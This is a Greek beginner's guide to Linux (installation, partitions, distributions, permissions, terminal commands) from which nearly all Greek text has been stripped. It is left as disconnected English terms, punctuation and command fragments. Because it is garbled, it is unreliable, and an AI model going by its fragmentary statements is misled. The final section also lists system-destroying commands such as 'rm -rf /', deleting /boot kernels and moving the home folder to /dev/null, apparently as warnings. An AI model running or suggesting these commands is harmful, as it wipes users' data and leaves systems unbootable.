Linux

Linux.
:
Linux .
.

.
m ,
.

Linux ,
. .

1. Linux;
2. Linux;
3. Linux;
4.
5. (Partitions)
6. Linux
7. Drivers
8.
9. Unix
10.
11.
12.Playground
< Linux

1
2 Linux != Windows
3 Linux;
4 Linux;
4.1 software
4.1.1 Microsoft Office

 4.1.2 Games
4.2 hardware

. ,
,
.

.
,
, ,
.
. ,
.
.

.

Linux != Windows
:
Linux is not Windows .
.
.
Linux, Windows. ,
Linux.
.
Linux .
: Linux Windows.
, , , .. Windows
Linux, .
.

. , . ,
Linux, .

Linux.
, . ,
Windows , .

Linux, (kernel).
Linux, kernel ,
Windows .

.
.
, Firefox
. (browser) .
Internet Explorer; browser;
! Internet Explorer.
! (tabbed browsing),
(live bookmarks), ,
png .
, .
, Internet Explorer ( 6)
. ,
"ok" "ok"
, .
. .
Firefox Internet Explorer, .
Linux Windows; .
: Linux
, .
, .
: ,
Windows, ReactOS.

Linux;
Linux;
Linux; Linux; Linux, ;
.
:
Linux Windows.
Linux ! 97%
.

! .
Linux . CD/DVD
!
!

 .
! !
! ; ! !
! ; !
! 2 !
!
! !
! ! !
! !
! Linux !

Linux;
, ,
Linux.
software hardware

software
Linux
.
(internet, multimedia, skype ) Linux
, .
, Linux ,
Windows. ,
, Linux.
Windows Mac
. , 2D
Draftsight Autocad, Blender 3DS
Max, . , Linux
,
. , VirtualBox Dualboot
.
Microsoft Office
Microsoft Office.
Windows Mac Linux. MsOffice
LibreOffice,
(formatting) .
*.doc(x) *.xls(x) ,
Microsoft Office VirtualBox. ,
MS Office Wine.

Games
Linux
Linux
gaming. 2012 , Steam Steam
For Linux Linux. ,
,
Linux. , ( 2013)
PC,
Windows.

hardware
Linux. Linux Kernel
.
(hardware ) Linux.
:
( video encoding
)

drivers Linux Kernel.
.

kernel , , .
:
hardware Linux Kernel .
Kernel, ,
hardware,
.
,
, ,
hardware
Linux Live CD/USB
Wacom Tablets Linux.

Linux /
Linux;

< Linux

1 Linux;
2 Linux;
3 Live CD/USB
3.1
3.2
3.3 Live (CD vs USB)
3.4
3.5 Live
4 Virtualization
4.1 Virtualization
4.2 Virtualization
4.3 M Virtualization
4.4 hardware
4.5 Virtualization
4.6 Linux Virtual Machine
4.7 Virtual Machine
5 Dual boot
6 Wubi/mint4win ( Windows) Deprecated!

Linux;
Linux
,
:
Live CD Live USB
Virtualization ( ) Virtualbox
VMWare)
Dual Boot, Linux
.
Wubi/mint4win ( Windows) Deprecated!
: Live CD/USB Virtualization
Linux. T dual boot
Linux .

 Linux;
Linux,
. ,
.
Linux, ISO .
ISO
torrent.
ISO , ,
. ,
. , md5sum
.
: ISO torrent,
md5sum, torrent client .

Live CD/USB

.
live cd-rom usb.
RAM ,
.

:
,
, Linux.
hardware Linux
( drivers).
. live
, .
: hardware ( web-camera)
Live ,
.
Live :

internet



, , .
: Live CD/USB
windows (
).

Live CD/USB :
RAM,
CD/USB,
( ).
, ,
(live session) . ,
.
: Ubuntu , Live USB,
Live Session
persistency. wiki Ubuntu.

Live (CD vs USB)

iso, :
1. Live CD iso CD.
2. Live USB iso USB flash.
USB cd
USB
. Ubuntu -
4GB USB stick .
persistency wiki
Ubuntu. iso USB
.
( ,
).
CD 99% .
, cd
cd.
: USB (1.1, 2

 3).
.
USB . .. 2
1.1, 1.1.
: USB 1.1 cd-rom.
1.1, CD.
: USB.
CD.

Live CD :
1. CD/DVD drive .
2. .
3. . Live Session,
BIOS boot sequence.
CD-ROM. .
4. Live Session (
). live session.
Try < >" Try without
installing
live .
5. RAM. ,

.

.
Live USB ,
CD drive usb , BIOS
USB.

Live
Live , :
1. boot sequence .
2. CD/USB.
! Linux!

Virtualization
Virtualization
(virtual) (Operating System OS)
. Guest OS
Host OS

Virtualization . .. :

,

, ,
, /
.

Virtualization
Virtual Virtual Machine.
Virtual Machine :
1. Virtual Machine,
(virtual hard
drive). (Host OS)
, . , (Guest OS)
. ,
10 GB .
2. Virtual Machine hardware
Guest OS (
Guest 2GB RAM, , 512 ).
hardware Guest OS.
3. Virtual Machine
Guest OS. virtualization cd-rom
ISO .
Linux.
4. Guest OS, Virtual Machine,
hardware
Guest OS.
, , partitions,
. To VirtualBox
!
.
: Guest OS hardware
. hardware, Guest OS .

minimum requirements .
: hardware
Guest OS, hardware
. !

Virtualization
Virtual Machine Linux :
,
Virtualization ( VirtualBox)
. format,
partitions, . Virtual Machine

Virtualization.
.
,
. :
.
reboot !
host ,
guest .

M Virtualization
Virtualization :
hardware
Linux. virtual virtual
hardware - hardware !
hardware Linux Live
CD/USB.
Linux
,
VirtualBox (
).
Virtualization.
( 10), "" Virtual Machine.
Virtual Machine
512MB RAM, 1GB
RAM.
Host . ,

 2 GB RAB Virtualization
. Hardware
Virtualization ( google
hardware virtualization).
Guest
virtualization.
, RAM
.
( 3-5 ) virtualbox.

hardware
10 GB . linux
.
, Virtual Machine
Host OS. ,
Guest OS. SSD
Host OS.
,
partitions VirtualBox,
() .
1 GB RAM . 2 GB Guest OS .

Virtualization
Virtualization. :
Virtualbox
VMWare
Virtualization Qemu
( ).
Virtualization wikipedia.
: virtualization ,
Virtualbox.

Linux Virtual Machine

Linux VirtualBox ( )

Virtual Machine
virtual
Host OS. virtual machine Host OS
Linux!

Dual boot
Dual Boot ,
. Linux
, .

.

Windows. .
, backup .
Windows.
. , , backup
.
( )
DVD.
. iso
. :
1) ,
Windows ( ).
boot manager . Boot manager
Master Boot Record (MBR). boot manager Windows
MBR .
grub syslinux linux (
) linux windows.
windows grub MBR
ntldr ( boot manager windows).
grub live
cd/usb.
2) partitions. linux
partition . windows
backup . partitions

:
.
.
:
It's the real thing!

Linux /
Linux;
< Linux

1 ;
2 bootloader Linux;
2.1 Windows XP
2.2 Windows Vista/7
2.3 Windows 8

;
:
.
: ,
, Live CD/USB Virtualization.
: partition () .
,
:
1. format partition .
2. partition ,

. partitions .
partition. partition
. , ,
partition ,
partitions .
partition,
gparted.
Live-CD/USB. gparted Linux,
( )
http://gparted.sourceforge.net/livecd.php

: partitions
, backup .

bootloader Linux;
Dual Boot (Windows Linux)
Linux, partitions BootLoader Linux (grub2,
syslinux ).
windows, CD windows.

Windows XP
1.
2.
3.
4.

K boot cd Windows.
repair your computer Command prompt.
bootrec /fixmbr, enter .
reboot .

Windows Vista/7
1.
2.
3.
4.
5.

K boot cd Windows.
repair your computer Command prompt.
bootrec /fixmbr, enter .
bootrec /fixboot, enter .
reboot .

Windows 8
: , EasyBCD
grub.

Linux /
< Linux

1 ;
1.1
1.2
2

 2.1 Ubuntu
2.2 Mint
2.3 Fedora
2.4 OpenSuse
3 Desktop Environments
3.1 KDE
3.2 GNOME
3.3 XFCE
3.4 LXDE
3.5 Enlightenment
3.6 Unity
3.7 Cinnamon
3.8 Mate
4

;
Linux
;. ,
. ,
Linux. O Linux
.
,
. - -
.
,
Linux.
, .
Linux . servers,
desktops,
( 10 ),
( ).
desktops.
, .
desktops . , ,
. , ,
. .
:
( ,
,
, ).

 ( package manager )
(
).
.
.
- .
(Desktop Enviroment), .
,
( Live CD ).
ISO ,
, ISO,
. ,
" ",
package manager . ,
,
, .
package manager , ,
.

. ,
.
package manager
,
. , (
), (
user friendly) ,
.

,
.
Ubuntu (Kubuntu, Xubuntu, Lubuntu
)
Mint
H Fedora
To openSUSE

: .
.

:
, ;)
,
,

( : ).
, :

To Debian
Arch Linux
To Gentoo (hardcore )
Linux From Scratch ( hardcore !!!)

, .
, ,
wiki .

Ubuntu
Ubuntu Linux.
, . To Ubuntu
6 , ,
(12.04, 12.10, 13.04 , ). 2
Long Time Support (LTS) , 5
.
.
: LTS 14.10. ,
.
Ubuntu Unity
.
.
:).
Ubuntu, (derivatives distros),
Ubuntu,
. :
Kubuntu Ubuntu KDE
Xubuntu Ubuntu XFCE
Lubuntu Ubuntu LXDE

 Ubuntu GNOME Ubuntu GNOME

Ubuntu links
(12.04 12.10)
Ubuntu, , ,
sites:
E Ubuntu
forum Ubuntu

Mint
To Mint ,
. Desktop
.
,
Desktop . ISO
:

Cinnamon
Mate
Xfce
KDE

Mint Ubuntu,
Ubuntu (Kubuntu, Lubuntu ) Ubuntu,
repositories. H 17.1
14.04 Ubuntu. 13 12.04
LTS. ISO .

Fedora
Fedora

OpenSuse
openSUSE

Desktop Environments
( Desktop Environment DE )
Linux.
,
. default
, (themes)
. DE
. DE.

KDE Cinnamon XFCE LXDE Mate Enlightenment Unity Gnome

hardware

KDE
KDE (K Desktop Environment - K)

Qt Trolltech. KDE DE
Desktop .
w:en:KDE KDE Wikipedia.

GNOME
GNOME GTK.
Gnome 3. 2 3,
.

XFCE
XFCE
.
hardware
. Windows XP/Vista/7,
. XFCE
browser, Midori,
browsers . GTK.

LXDE
To LXDE desktop environment
desktop . GTK,
developers Qt Trolltech.

Enlightenment
Enlightenment DE,
. 17 10
. ,
.

Unity
To Unity DE Ubuntu.
User Interface .

Cinnamon
To Cinnamon fork Gnome 3 Mint. O
fork Gnome 3,
desktop Gnome 2.

Mate
To Mate fork Gnome 2. Gnome 2 ,
Mate . Gnome
2 .

(Desktop Environment),
Unity, GNOME ( 3 ) KDE. ,
, XFCE
LXDE.
"" (Window Manager),
, .
, Openbox, i3
Enlightenment ( Window Manager). .
default ,
, .
, ,
. .. Nautilus ( Files)
file manager, PCManFM. .
"" ,
, /.
"
" .
, ( )
,
.
: browser
(firefox chrome) 512MB RAM.
: Midori browser o
.
:
http://puppylinux.org/

http://crunchbang.org/
http://lubuntu.net/
http://xubuntu.org/
http://www.linuxmint.com/edition.php?id=119
http://tinycorelinux.net/
http://www.damnsmalllinux.org/
http://antix.mepis.org/index.php?title=Main_Page
http://www.connochaetos.org/wiki/
http://www.xpud.org/
http://macpup.org/
http://www.swiftlinux.org/
http://www.browserlinux.com/
http://www.jolicloud.com/
http://peppermintos.com/
http://www.salixos.org/wiki/index.php/Home

(8MB Ram):
http://osarena.net/distros-roms/specialist-distros/delicate-thimase-ekino-to-pc-me-ta-8mbram-pou-iches-anastise-to.html

Linux / (Partitions)
< Linux
: , ,
hardware .

1 partitions;
2
3 Linux
4 Filesystems ( )
4.1 FileSystems
4.1.1 FAT (File Allocation Table)
4.1.2 NTFS (New Technology FileSystem)
4.1.3 ext3/ext4 (EXTended file system 3/4)
4.1.4 Btrfs (B-tree filesystem)

4.1.5 SWAP
4.2 Fragmentation ()
5 Partitions/
5.1 Gparted
6
7 Partitioning Schemes
7.1 Windows Only
7.2 Linux Only
7.3 Dual Boot
7.3.1 >4GB Ram
7.3.2 <2GB Ram
8

partitions;
.
partitions (). partition,
, ,
.
partitions.

( ). ,
format, format
partition , .


.

, .

(partitions):
(Primary partitions)
(Extended partitions).
primary partition, .
(Logical partitions)
primary partitions,
:
primary partitions.
partitions

 primary partitions extended.

partition primary partition
extended .
extended partition ,
partitions
partitions . partitions extended partition
logical ,
extended partition.
,
primary extended partition,
(logical) partitions .
, , :
1. " "
(primary).
2.
primary.
3.
primary "" (logical).
4. (logical)
(extended)
logical. extended logical.
. logical
. -
.
5. primary logical
. logical
.
6. (swap)
primary . ( windows
logical. Linux ).

Linux
Linux /dev/sdXY, X
(a, b, c...)
Y (1, 2, 3...)
. , ,
Linux /dev/sda1
/dev/sdb3.
Linux, 1, 2, 3 4
( extended).
, 5 .


. ,
,
.
: IDE,
/dev/hd XY .
,
,
.

Master, slaves ,
b, c ( a) .
,
UUID GUID
.

Filesystems ( )
FileSystems ( ),
.
FileSystems,
filesystems . , Windows
filesystems (
,
). Linux, native filesystems ( ext4 BTRFS),
FAT32 NTFS, native
filesystems windows.

FileSystems
FAT (File Allocation Table)
FAT16 FAT32.
MS-DOS, .
,
, USB memory stick . Windows XP
Microsoft NTFS FAT.
( 4 GB),
( 2TB), ( )
.
Linux ,
Dual Boot windows,
. , NTFS Linux

, .
H FAT32 , USB
Memory Cards , ,
journaling ( )
FileSystems.
NTFS (New Technology FileSystem)
NTFS Microsoft FAT
Windows NT. XP
Windows.
FAT ( journaling, case-sensitive ,
).
Linux, ,
NTFS.
ntfsprogs, .
, , NTFS linux Dual-Boot
Windows , ,

NTFS.
ext3/ext4 (EXTended file system 3/4)
To ext 1992
Linux. ext3 ext4. ext4
ext3 ,
.
, ext4 , ext3
. ext4
linux.
: ext4 Journal,
flash memory USB
flash drives
. ext3 .

Windows, FAT32.
Btrfs (B-tree filesystem)
Linux ext4.
, .


Linux.
Wikipedia.
: Btrfs under heavy development.
Linux Kernel
.
SWAP
:
swap, partition file.
SWAP partition linux RAM.
RAM ( > 4 GB) , ,
. RAM ( <= 2 GB) .
swap .
SWAP. swap files,
swap partitions,
partition.
: Linux kernel 2.6 swap files swap
partitions, swap partition.
hybernate swap.
.
: server
SWAP. . '

:).

Fragmentation ()
filesystems Windows
fragmentation (),
( )
.
.
,
. , ()
Defragmentation,

 , .
: defragment
. C:
60%.
: Windows
defragmentation, MyDefrag
(freeware).
linux : defragmentation.
defragmentation, fragmentation
()! ;
, ,
Linux.
filesystems Linux ,
Windows.
; ,
defragment. , , linux
fragmentation.
: filesystems ( BTRFS)
Linux. BTRFS
defragment.
: SSD, ()
, .
fragmentation , .

Partitions/
:
GParted Linux Live CD/USB.
.

. Windows
Windows,
,
.

 GParted ( Linux)
.

GParted Linux Live CD/USB.

Gparted
Gparted:
1. .
.
2. .
.
.
3. ,
.
,
. ,
.
4.
.
,
.

format /home
partition . format.
SWAP partition
RAM. swap partition .
compiles ,
( libreoffice) swap
partition. swap file.
filesystem .
. EXT4 BTRFS
, XFS
. BTRFS . ext4
. BTRFS.
. BTRFS
, .
SSD EXT4, BTRFS, XFS JFS.
mount options TRIM.
: , ext4.

 Partitioning Schemes
partition scheme. partitioning scheme
. desktop
. , server
, ,
.
, partition,
format
. 2 partitions.
'
(, , , , ).
, ,
format partition
.
:
partition (
software ) ( hardware).
.
,
, (backup),
.
Windows Only
H . partition,
( ...)
2 partitions. To windows ( C:)
(.. D:) .
C:,
. Windows 7/8 (
office ) 30-50 GB.
windows ( Windows XP) ,
20GB .
defragmentation , partition 70100GB .
(partition D:).
( 510GB ) partition .

 ( laptop 80 GB )
pc

fragmentation. , 50 GB
C: 30 GB D: . 40GB - 40GB .
30GB - 50GB . ,
( SSD
!).
Linux Only
partition root /
. 2
partitions. To
. RAM
swap , partition .
partition root partition
/. partitions /
home partition /home.
, root partition .
( shared libraries), Linux
. :
,
5GB.
Linux desktop 10-15 GB ,
, 20GB . 30 GB . fragmentation linux
partition.
( 1) 50GB
.
home partition .
: /boot
partition. .
, ,
.
: partitions. desktop
, 2 partitions -.
filesystems, .
root home partition ext4.

Dual Boot
H dual boot windows Linux
. RAM
.
>4GB Ram

RAM, SWAP
Partition, partitions 2 . ,
partitions 4, primary partitions
. :
1. /dev/sda1 NTFS partition windows ( C:).
2. /dev/sda2 NTFS partition
( D:
.
3. /dev/sda3 ext4 partition Linux
( root partition /)
4. /dev/sda4 ext4 partition
( home partition
/home).

Linux Windows home partition
, (,
, ) D:.
partition, D: 2 partitions
, ,
partitions . , home
,
sda2 (D:).
: SSD, , ,
ext4 BTRFS
<2GB Ram

RAM, RAM
SWAP Partition. partitions
5, .
, 4 primary partitions
4, primary partition extended
partitions logical partitions
extended. , partitions SWAP

 primary partitions. , :
/dev/sda1 primary partition NTFS
Windows ( C:).
To /dev/sda2 primary partition ext4
Linux ( /).
To /dev/sda3 primary partition SWAP.
/dev/sda4 extended partition.
/dev/sda5 logical partition ext4
Linux ( /home).
/dev/sda6 logical partition NTFS
( D:).
partitions
logical partitions primary.
, extended partition
, logical
partitions. ,
primary partitions.

Ubuntu
Partition Editor (Gparted) live CD/DVD Ubuntu
Ubuntu
http://www.linfo.org/filesystem.html
http://en.wikipedia.org/wiki/Comparison_of_file_systems#Supporting_operating_systems

Linux / Linux
< Linux

1 Linux
1.1
1.2 BIOS
1.3 Boot Managers

 1.4
1.5 Video tutorial

Linux

desktop x86 (32bit)

x64 (64bit). .
: , .
x86 32 bit ,
x64 32 bit 64 bit .

. 32 bit, 3 GB , 64 bit
.
, 64bit ( )
32 bit .

BIOS
UEFI . .

Boot Managers
boot managers
.

.
, :

Grub2
SysLinux
Grub Legacy
EFISTUB

1. Arch Linux
Slackware Linux 12-1

Video tutorial

rch Linux




Ubuntu
video

Linux / Drivers
< Linux

1 Drivers
1.1 hardware
1.2 Drivers
1.3
1.3.1 vs drivers
1.4

Drivers

(web-camera, printer ), drivers,
.
"" Windows
Linux drivers
( site hardware). Linux , 99 100
Linux drivers
Linux Kernel. ,
drivers , .

hardware
, , ,
hardware . Linux
hardware ,
.
3,

 , laptop ( pcmicia
).
hardware ( ,
, ( usb) ) lspci.
USB ( bluetooth ,
, , ) lsusb.
pcmcia lspcmcia.
: output , ,
. ,
post- forum Linux,
.

Drivers
hardware, driver . 95%
driver
. 5% :
drivers , ati nvidia,
package manager
drivers
. ,
/ .
drivers . ,
driver Linux
Kernel.

vs drivers
... drivers .
ati nvidia ( ) ...

1. intel-nvidia optimus bubblebee ,
( optimus
)
2.
. scaling

3. (.. vlc
, browser , , DE , unity )

 .. , ....

thread insomnia.gr .

Linux /

< Linux
Linux Windows
/ .
, Linux, Windows,
repositories () package managers ( ),

.

1
1.1 (packages)
1.2 (Repositories Repos)
1.3 (Package Manager)
1.3.1 (dependencies)
1.3.2
1.3.3

1.4 ...
2
3 Windows Linux
4 Games & Steam

Linux
:
1.
(internet).
2. package manager .

 -,
, , , , .
.

(packages)
Linux (package).
.
installers Windows.
installer
, Linux
. ,
,
.
. deb rpm
. .
, .

(Repositories Repos)
(server) (
, ).
(repository) repo.
, , . ,
,
,
.
, Linux
, (mirrors),
, ,
, . ,
(load balancing)
,
.
Linux
( , , ,
), ,
. , ,
(package manager) , ,
, , (mirror).

(Package Manager)
(package manager)
()


. ,
.
, :
1.
, ,
(metadata).
2. ,
- (keywords) .
3. /
.
4.

.
, Linux
, installers ,
. ,
. , 3 .
: ,
,

.
: ,
, ( ) (administrator, , , Unix,
Linux, root superuser).
Windows,
. -
[].
: ,

.
.

Linux , .
(dependencies)

(dependency
checking).
, , ,
(program libraries). ,
(dependencies)
.
(.. LibreOffice)
, ,
. . ,
. ,
,
.


, . ,
, ,
:
1. , (Message Digests:
MD5Sums, SHA1Sums, ...) , , .,
,
2. , (
PGP/PKI) ,

(keyring).
, ,
, , .


, .
.
,
. .
, ,

.


, ,
(. / )
. ,
, ,
.
..
, 2.2 .
3.1,
,
.
,
o
.

...
, .
,
. , ,
(official repositories) ,
.
.
4 :
( unofficial
repository 3rd party repository). Ubuntu
ppa ( ). ,
.
*.deb *.rpm ,
package manager ,
, .

.
package manager .
, .

(compile and install from source), package
manager. H , , , ,
, package manager, (
) , .


(uninstall) Windows

.

.
(Registry) Windows ,
format
.

Registry.
Linux ,
. :
(package manager)
.
(uninstall).
-.

.

Windows Linux
Wine/Crossover

Games & Steam

,
PC
Windows ,
Linux
https://wiki.archlinux.org/index.php/Netbook_Games
https://wiki.archlinux.org/index.php/List_of_Applications/Games

Linux / Unix
< Linux


1
2 Users
2.1 su/sudo/gksudo
3 Groups
4 (file permissions)
4.1 1
4.2 2
4.3 Octal representation
4.4
4.5
4.6
5
5.1

UNIX
,
. ,
,
( , ) ,
.

.
.

. ,
,
. , john jane,
john jane .
Unix-like , Linux,

, , ,
Unix
.
: .
root. root
.

: ,
Unix
.

Users
: Linux, users
.
Linux
.
. ,
. ,
.
, Linux
(superuser),
root. root user
. root ,
. ,
, root .
: root administrator Windows.
Windows o administrator ,
. Linux,
root .
root,
, .
:
.
.
... ()
root, ,
user, o
.
.
: ,
user

su/sudo/gksudo
sudo & passwordless sudo & su.

Groups
(file permissions)
Linux, Unix,
:
1. ( ) user group.
2. , , groups.
Linux , ,
, .
, :
user - wner.
users group Group.
users, users
, group Other.
users, ,
. :
(r), ( )
.
(w), ( )
.
(x).
.
rwx.
, ,
.
, .
rw- r-x
. ---
, .
10
-rw-rw-r--, 9

 .
(d) , (-)
, (l).
1
ls -l. To
output ,
: <pre<noinclude></noinclude> style="margin-bottom: 0; borderbottom:none; padding-bottom:0.8em; background-color:LightCyan"> -rw-rw-r-- 1 vladimir
moderators 2.5K Jan 22 21:06 README.txt</pre<noinclude></noinclude>>
<pre<noinclude></noinclude> style="margin-top: 0; border-top-style:dashed; padding-top: 0.8em;
background-color:LightCyan"> permission # username groupname size +---date---+
filename</pre<noinclude></noinclude>>
, README.txt user vladimir group moderators
-rw-rw-r--. ,
:
( -).
vladimir (user-owner)
( 2-4 rw-).
group moderators (group-owner)
( 5-7 rw-).
( 8-10
r--).
2
, project,
home folder : <pre<noinclude></noinclude> style="margin-bottom:
0; border-bottom:none; padding-bottom:0.8em; background-color:LightCyan"> $ ls -l
~/project</pre<noinclude></noinclude>> <pre<noinclude></noinclude> style="margin-top: 0;
border-top-style:dashed; padding-top: 0.8em; background-color:LightCyan"> drwxr-xr-x 3 john
users 4.0K Feb 9 12:28 geo2D/ -rw-r--r-- 1 john moderators 2.5K Jan 22 21:06 README.txt
</pre<noinclude></noinclude>>
, project 2 . geo2D,
john group users README.txt
john group moderators.
geo2D:
john , ( rwx).
group users ( r-x).
( r-x).
README.txt:

 john ( rw-).
group moderators ( r--).
( r--).

Octal representation
0
1
2
3
4
5
6
7

----x
-w-wx
r-r-x
rwrwx

indicates
indicates
indicates
indicates
indicates
indicates
indicates
indicates

no permissions
execute permissions
write permissions
write and execute permissions
read permissions
read and execute permissions
read and write permissions
read, write, and execute permissions

chmod

;
umask.
, . default ,
-rw-r--r-- drwxr-xrx.
, - -
;
O .
- ( chmod
. owner (-)
root, chown. ,
file-manager ,
( owner ).
: attributes,
. ,
( ).

http://linux-blog.org/linux-file-permissions-groups-and-users/
http://library.linode.com/using-linux/users-and-groups#sph_administering-file-permissions
http://www.yolinux.com/TUTORIALS/LinuxTutorialManagingGroups.html
http://www.tuxfiles.org/linuxhelp/filepermissions.html



linux. '
, .
.
"root" "slash" ("/" "backslash" "\" Windows).
(
, "C:\", "D:\", ). ,
, . , root ,
Linux root .
.

Linux
( ,
. ,
.)
"/home/" .
. (username). ,
"john",
"/home/john/". ,
"Desktop", "Documents", "Music", . home-folder
("."), dot files. dotfiles folders , , ,
cache . ,

"/home/john/.Skype/" Skype John.

file managers
( "Ctrl+H").
backup
.
:

/
/home/*
/root
/etc
/dev
/bin
/sbin
/usr
/var
/boot
/mnt
/media
/tmp
/opt

. .
, .
.
services
( webserver, mailserver ).
.

"/dev/sda" ( ), "/dev/sdb" ( ), .

linux , , "pwd" "cd".
.
.
log.
.
"mount".
.
(add-ons)
.

, <link> .
.
, .
, "sudo".
linux. , ,
.
"/dev" .
:
. .

log .
/dev/random .

/dev/urando
/dev/null

m
,
usb stick.
/dev/sda,
/dev/hda sda.
/dev/sdb

.
.
/dev/zero
.
Unix- ,
.
, , . '
.
BSD OS X
linux. , OS X,
"/home", "/Users", ( )
.

Linux ( )

Linux /

< Linux

1
1.1 (Folders and Files)
1.1.1
1.1.2 Everything is a file ( )
1.1.3
1.1.4 Paths ()
1.1.5
1.1.6 Tab Completion ()
1.2
1.3
1.4
1.5

 1.6
1.7
1.8
2
2.1
2.2 / /
2.3 /
2.4
2.5
2.6
2.7
2.8 tips
2.9
3

: ,
,
!!
: ,
folder structure Unix- .

(Folders and Files)

Linux "" (folder).
, .
" "
(parent folder). / " " (root
folder) ,
.
: ,
.
Everything is a file ( )
Linux,
. ,
.

 / ,
. ,
,
.
/ path.
<pre<noinclude></noinclude>>/home/john/this.is.a.folder/
/home/johy/this.is.a.just.a.name</pre<noinclude></noinclude>>
: Linux, Windows,
.
. /home/john/myphoto.jpg/.
: Linux / ,
: /home/john/doc/ /home/john/DOC/.

(
) user . pwd (
"print working directory")
( ). .. user John,
, : <pre<noinclude></noinclude>
style="margin-bottom: 0; border-bottom:none; padding-bottom:0.8em; backgroundcolor:LightCyan">$ pwd</pre<noinclude></noinclude>> <pre<noinclude></noinclude>
style="margin-top: 0; border-top-style:dashed; padding-top: 0.8em; backgroundcolor:LightCyan">/home/john</pre<noinclude></noinclude>>
Paths ()
(path)
root folder - .
absolute path ( ). absolute paths :

/home/john/Documents/photos
/home/john/Documents/photos/birthday1.jpg
/home/john/Documents/photos/birthday2.jpg
/home/john/Documents/photos/birthday3.jpg

absolute paths
/,
paths. relative paths ( ),
/, root folder
/ .
(. ..). .
, .. .

, , /home/john/:
O /home/john
.
O /home/john /home
..
O /home /
../..
: , /
/.

cd (
"change directory"). cd
_ ( "cd" () ).
absolute path
absolute path (
path ...). ,
/home/john/Documents/school :
<pre<noinclude></noinclude>>cd /home/john/Documents/school</pre<noinclude></noinclude>>
.
/home/john/Documents/school
,
relative paths. , /home/john/Documents.
, school, :
<pre<noinclude></noinclude>>cd school</pre<noinclude></noinclude>>
relative paths,
.
/home/john/Documents/. cd . ,
. . , ,
, cd .. ( ..!)
/home/john. , ,
/home/john/Documents/school/
/home/john, cd ../..
( ).
cd path
.
. , cd ../.., cd
. , cd.

Tab Completion ()
paths . ,
, paths.
.
/home/john.
"Enter": <pre<noinclude></noinclude>>cd
/h</pre<noinclude></noinclude>> ,

: <pre<noinclude></noinclude>>cd
/home/</pre<noinclude></noinclude>>
"/home/" , :
<pre<noinclude></noinclude>>cd /home/j</pre<noinclude></noinclude>> "TAB"
.
: <pre<noinclude></noinclude>>cd
/home/john</pre<noinclude></noinclude>>

. , "/"
"h". ,
"house".
"TAB",
. , "home"
"house" "ho",
:
cd /ho

( ) .
"u" "TAB", , :
cd /house/

"TAB"! :
cd /home/john/

"TAB",
"john", :
cd /home/john/
Documents
Pictures

Downloads
Videos

Music
()

:D
"~".
.
"/home/john/". "/house/"

 "/home/john/Documents/school/",
:
cd ~/Documents/school

, "-",
, . , ,
"/home/john/Documents/school" "/house"
, :
cd -

firefox.
firefox

( ) browser.
()
(GUI).
: GUI,
,

!
,
:
_ -1 _1 -2 _2

. "cd"

cd ( _)

cd ~/Documents (_ _1)

"", .
.
, ,

ls

(list) "TAB".

ls -l

,
.
( ),
, , group ,
KB, .
.
"-a".
ls -a

ls -l -a

. _
:
ls -al

. "-a"
"all" "-l" "list". , "ls -l" ( "ls -al")
. ,
"-h" (human readable),
ls -alh

',
manual . , manual "ls"
man ls

, "q"(quit).
() "--help". :
ls --help

"man".

, ,
cp

, backup . :
cp .txt _backup.txt

.
,
. ,

 .
: linux .
.txt ! ,
.
, :
cp .txt ~/Documents/school/

:
mv

"cp", .
, .
:
mv .txt _.txt

.
"_.txt"
".txt".
, , :
mv .txt ../

(
):
mv .txt /home/john/.my_secret_text_files/

. :
cd ( , )
mkdir .my_secret_text_files

"/home/john/Music/discographies/MichaelJackson", "discographies" .
"-p" (
parents, ) "mkdir":
mkdir -p /home/john/Music/discographies/MichaelJackson

 touch
<pre<noinclude></noinclude>>touch filename</pre<noinclude></noinclude>>
filename. .
, empty.
text editor .

: .
( ) !
!

rm

(remove!) "rm" .
: "rmdir" ,

, .

:
rm _

:
rm /home/john/Documents/.txt

:
rm .txt .png

.
,
"-r" (recursive - , ,
, " " ):
rm -r /home/john/Documents/school

:D
_ .
. ' ( Wildcards!),
:
?

( !).
:
1.txt 4.txt 5.txt .txt

 :
rm ?.txt

, ".txt" .
*

( !)
. :
1.txt 4.txt 5.txt .txt .png

".txt" :
rm *.txt

:
rm *

:
rm ./*

Wildcards .
:
cat .txt

(concatenate) "cat"
. :
man cat

.
, text editor
:
nano

,
/ editor.
editors . "Ctrl+X"
.
. "y" "n" . "y"
"Enter".
( "touch"!)
:
nano _

"Enter".

: "touch" "nano" .
"nano".
"touch" .

"nano" shortcuts ( "^"

Ctrl!). shortcut "Ctrl+W" .
editors "vim" "emacs",
, .
tutorials man pages (
), "vim", browser
vim adventures!!
.
editor GUI.
"gedit". :
gedit text_file

, (.. Ctrl+S button

gedit ) ,
. GUI,
.
"&" :
gedit _ &

"echo".
.
:
echo "Hello World!"

:
Hello World!

.
"PATH"
. ,
"PATH" , .
"PATH", :
echo $PATH

:
/
usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/loca
l/games

"$" "PATH" (
), "$" :

PATH

PATH.

( -
package manager ( )
!). ,
.

:
./_

! ( ).
( !!).
$HOME "~"
$EDITOR editor ( vim
nano).

With great power comes great responsibility ( ).
,
. linux ,
. "PEBKAC"
(Problem Exists Between Keyboard And Chair), malwares .
, ,
. ,
,
.
.
package manager .
()/ ,
.

, "sudo" . ,
:
apt-get install gimp

.
' :
sudo apt-get install gimp

,
. sudo

, "" , :
sudo !!

"!!" , "apt-get install gimp".

, .
man pages online tutorials .
package manager
( ):

apt-get
yum
zypper
pacman

Debian, Ubuntu, Mint

Fedora
OpenSuse
Arch Linux

/ /
Header text
cat
cd
cp
echo
file
head
tail
less more
ln
ls
lsusb
lspci
man
mkdir
mv
nano
pwd
rm
rmdir
touch
tar
vim
wc

Header text
E



.



links (shortcuts)

usb
pci
/

/
text editor




/
text editor
//

chmod
exit
su
sudo
whoami

( )



username

free
kill
reboot
shutdown
startx
top
uname

ram swap



(X/WM/DE)
(
"htop")

find

locate
_
grep
grep
whereis
sort

which

apropos

ifconfig
ping
netstat
ssh

ip interfaces (ethernet, wireless )

( default gateway)

clear
date
dd
mount
umount

( !!)
( )
( )

 tips

"Ctrl+C".

"Shift+Ctrl+C" "Shift+Ctrl+V". ,
.
file manager drag'n'drop

.
"sudo" .
"sudo"
"sudo !!", "!!" .
"Alt+." .
.. "cat text.txt"
"nano" .

.
/ . ,
. Linux.
.
. ,
. ,
(root) . permissions
Linux .

rm -rf /

rm -rf /boot/

rm
rm
rm
rm

/boot/vmlinux
/boot/vmlinuz
/boot/vmlinux*
/boot/vmlinuz*

mv ~/* /dev/null

.
boot
